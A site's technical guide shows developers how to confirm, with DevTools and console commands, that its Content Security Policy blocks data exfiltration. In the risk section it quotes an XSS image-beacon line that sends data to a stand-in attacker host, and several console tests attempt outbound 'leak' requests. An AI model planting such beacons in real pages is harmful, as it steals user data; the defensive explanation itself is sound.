/ VERIFY · TECHNICAL
Technical verification guide
A walkthrough for developers and security researchers. Confirms with browser DevTools and console commands that inyourbrowser.com cannot exfiltrate user data. For the friendlier, point-and-click version, see the verify page.
The site’s in-browser claim is enforced by the browser itself via a strict Content Security Policy. This page lists every check you can run, in roughly the order from cheapest to most thorough.
1. Echo of the active CSP
Below is the exact Content-Security-Policy header that production responses carry. The actual header on your current response is identical (read it in DevTools to confirm, per step 2).
Content-Security-Policy: default-src 'self' script-src 'self' 'unsafe-inline' style-src 'self' 'unsafe-inline' img-src 'self' blob: data: font-src 'self' worker-src 'self' blob: connect-src 'none' object-src 'none' base-uri 'none' form-action 'none' frame-ancestors 'none' manifest-src 'self' frame-src 'none' media-src 'self' upgrade-insecure-requests
Directive-by-directive:
connect-src 'none': blocks everyfetch,XMLHttpRequest,WebSocket,EventSource, andsendBeacon. This is the single directive that makes data exfiltration impossible regardless of what the JavaScript tries.object-src 'none': no plugin or Flash to backdoor data through.base-uri 'none': prevents injected<base>tags from rewriting all relative URLs to an attacker-controlled origin.form-action 'none': a planted<form>cannot submit to any URL.frame-ancestors 'none'andframe-src 'none': no embedding, no embedded frames.script-srcandstyle-srcwith'unsafe-inline': see the dedicated subsection below for the full rationale.
About 'unsafe-inline' in script-src
Mozilla HTTP Observatory and similar static-analysis tools dock points (typically −20) for any CSP that contains 'unsafe-inline' in script-src. We are intentionally accepting that penalty. The explanation is below in full so any security reviewer reading this can audit the trade-off rather than infer it.
Why it is there. The site is a pure static export. There is no server runtime, no edge middleware, and no per-request response generator. The HTML for each page contains roughly 23 inline <script> tags:
- One small theme-init script (constant content across all pages) that reads the user's saved theme preference from
localStorageand applies thedata-themeattribute before the first paint, to prevent a flash-of-wrong-theme on dark-mode users. - Around twenty-two Next.js React Server Components flight-data scripts (
self.__next_f.push([...])). These inline the serialized React tree for each route so the page can hydrate immediately on first load without a second network round-trip. Their content is page-specific, generated at build time by Next.js, and a fundamental part of how the Next.js App Router achieves zero-network hydration on a static export.
The three commonly-cited ways to remove 'unsafe-inline' are:
- Per-request nonces — needs a server runtime to generate a fresh nonce on every response and inject it into every inline script tag. Incompatible with static export.
- Move every inline script to an external file — incompatible with the Next.js framework scripts above, which the framework emits inline by design for first-paint performance.
- Per-page CSP with SHA-256 hashes of every inline script — feasible via a post-build script that computes hashes and emits a per-route
Content-Security-Policyheader invercel.jsonor a_headersfile. We have evaluated this approach. It works for the 429 statically pre-rendered routes but breaks down on the homepage/, which is dynamically server-rendered (it reads the?q=search query from the URL to filter the tool list). Dynamic routes generate inline scripts per request, so build-time hashes cannot cover them. The end result of the evaluation was that fixing the score for 429 routes while leaving the most visible URL (/) on the relaxed policy was the wrong trade-off: the audit tool would still report'unsafe-inline'on the homepage anyway. The complexity of the build pipeline did not justify the partial fix.
Why the practical risk is low. 'unsafe-inline'becomes exploitable only if an attacker can inject a <script>tag into the HTML. For that to happen, the site would need an XSS vulnerability: a place where user-controlled input is rendered into the DOM without escaping. The codebase has been audited for XSS sinks — every dangerouslySetInnerHTMLcarries either static framework output or JSON-LD serialized through a jsonLdString() helper that escapes <, U+2028, and U+2029. The markdown previewer renders user text into a fully-sandboxed iframe (no allow-scripts, no allow-same-origin). YAML parses with the safe schema. There is no eval, no new Function, no string-argument setTimeout.
And even if a vulnerability slipped in, the connect-src 'none' directive prevents any injected script from sending data anywhere. The script could deface the page or modify the DOM, but it cannot exfiltrate files, keystrokes, or anything else. The form-action 'none' directive blocks form submission as a second exfiltration channel. The object-src 'none' blocks plugins as a third. img-src 'self' blob: data: blocks the common XSS-via-image-beacon pattern of using new Image().src = "https://attacker/?leak=".
The net effect:the audit penalty reflects an exfiltration risk that this site has explicitly closed at the network layer. The penalty is real in the general web sense but does not apply to this site's actual threat model. If you are evaluating this site for use with sensitive files, the audit score is the wrong question; the right question is what happens to your file when you drop it in, and the answer is enforced by the rest of this page.
2. Verify the CSP in DevTools
- Open DevTools (
F12orCtrl+Shift+I/Cmd+Option+I). - Network tab. Reload the page if the request list is empty.
- Click the very first row (the document fetch).
- Headers panel. Find
content-security-policyunder Response Headers and confirm it containsconnect-src 'none'.
Illustration of what the Response Headers panel should look like. Real browser UI will differ in colour and exact layout.
3. Console commands to confirm each defence
Paste each of the following into the DevTools Console. The expected behaviour follows each command.
fetch("https://example.com").then(() => "SENT").catch(e => e.message)
// Expected: a string starting with "Refused to connect to ..." from the CSP.new EventSource("https://example.com").readyState
// Expected: throws or readyState 2 (CLOSED) almost immediately. CSP blocks it.navigator.sendBeacon("https://example.com", "leak")
// Expected: returns false (the beacon was rejected).document.cookie // Expected: "" — no cookies are set by this site.
Array.from({length: localStorage.length}, (_, i) => localStorage.key(i))
// Expected: [] or a subset of ["theme", "nc_dismissed"]. No other keys.
// "theme" = dark/light preference; "nc_dismissed" = whether the floating
// network-counter widget was closed by the user. Both are UI state only,
// never user file content.(await indexedDB.databases?.() || []).map(db => db.name) // Expected: [] in browsers that support indexedDB.databases().
Illustration of what the Console output should look like for the first command.
4. Network tab during tool use
Reload, clear the request log, and use any tool: drop a PDF into merge, paste JSON into the formatter, encode a QR. After the tool finishes, the request log should still be empty (or contain only same-origin resource fetches for lazy-loaded libraries, never a POST or PUT carrying user content).
Illustration of an empty Network tab after tool use.
5. Application tab: storage audit
Open Application (Chrome / Edge) or Storage (Firefox). Under Local Storage and Cookies for this origin, you should see at most one entry: theme in localStorage if you have ever toggled dark mode. Session Storage, Cookies, IndexedDB, and Cache Storage should all be empty for this origin.
Illustration of the Application tab showing only the theme key.
6. Per-API breakdown
| Browser API | Used by | Can it leak data? |
|---|---|---|
fetch / XMLHttpRequest | Nothing on this site. | No. connect-src 'none' blocks both. |
WebSocket / EventSource | Nothing on this site. | No. Same CSP directive blocks both. |
navigator.sendBeacon | Nothing on this site. | No. Returns false under connect-src 'none'. |
FormData submit | Search form (handled in-page; never submitted to a server). | No. form-action 'none' blocks any HTML form submission. |
FileReader | Every tool that reads a dropped file. | No. Reads bytes into memory; cannot send them. |
Canvas + toDataURL / toBlob | All image tools, favicon generator, PDF-to-image. | No. Result is held in a JavaScript variable, downloaded via a same-origin blob URL. |
Web Crypto (crypto.subtle.digest) | SHA-256, SHA-512, SHA-1, password generator entropy. | No. Pure compute; no network. |
Web Workers | PDF.js renderer, regex worker, diff worker. | No. Worker scripts are same-origin; CSP applies to workers too. |
navigator.mediaDevices.getUserMedia | QR code scanner only. | No. Stream is consumed locally by jsQR; cannot be sent because connect-src 'none'. |
postMessage | Nothing on this site (no iframes, no opener). | No. frame-src 'none', no window.open(). |
navigator.clipboard.writeText | All Copy buttons. | No. Write-only access; the site never reads your clipboard. |
localStorage | Two UI-state keys only: theme (dark/light) and nc_dismissed (network-counter widget visibility). No tool persists user content. | No, by definition. Stored only on your device. |
7. Lazy-loaded libraries
The heavy libraries (pdf-lib, pdfjs-dist, qrcode, jsqr, jsbarcode, marked, js-yaml, sql-formatter, cronstrue) are bundled at build time and loaded lazily on first interaction. They are fetched from the same origin (your own browser’s cache after the first load), never from a CDN. You can verify this in the Network tab the first time you use a given tool: every script you see come down is served from www.inyourbrowser.com.
8. Other security headers
The following headers apply to every HTML page and every tool route on the site:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
X-DNS-Prefetch-Control: off
Origin-Agent-Cluster: ?1
Permissions-Policy: camera=(self), microphone=(), geolocation=(),
usb=(), payment=(), serial=(), bluetooth=(),
magnetometer=(), accelerometer=(), gyroscope=(),
midi=(), autoplay=(), clipboard-read=(),
clipboard-write=(self), display-capture=(),
browsing-topics=(), attribution-reporting=(),
idle-detection=(), screen-wake-lock=(),
xr-spatial-tracking=(), interest-cohort=()Per-route exception: Cross-Origin-Resource-Policy on public images
Five asset routes return Cross-Origin-Resource-Policy: cross-origininstead of the default same-origin:
/og— dynamic social card image (Open Graph / Twitter card)/opengraph-image— static fallback social card image/icon— 48×48 favicon/icon.svg— SVG favicon/apple-icon— 180×180 Apple touch icon
These five routes exist solely to be loaded by external clients (social card previewers, the browser tab UI, PWA install flows, search-result thumbnails). They are deterministic brand images derived from URL parameters and contain no user data, so a permissive cross-origin value carries no information disclosure risk. The relaxation is per-route: every HTML page and every tool endpoint continues to return same-origin, and the connect-src 'none' directive that prevents data exfiltration is unchanged. You can confirm both states with a one-liner:
curl -sI https://www.inyourbrowser.com/json-formatter | grep -i cross-origin-resource // Expected: Cross-Origin-Resource-Policy: same-origin curl -sI https://www.inyourbrowser.com/og?title=Test | grep -i cross-origin-resource // Expected: Cross-Origin-Resource-Policy: cross-origin
9. External validators you can run yourself
Independent scanners will confirm the headers above. Each link opens with the site URL pre-filled:
The limits of in-browser verification
Self-serve verification proves the current page is behaving as described. It does not prove the site cannot be changed in the future. Two robust ways to harden your trust over time:
- Re-read the response headers periodically. The CSP is an HTTP header on every response, easy to inspect.
- Use the site in a browser profile with no extensions, so no third-party extension can claim to be part of inyourbrowser.com.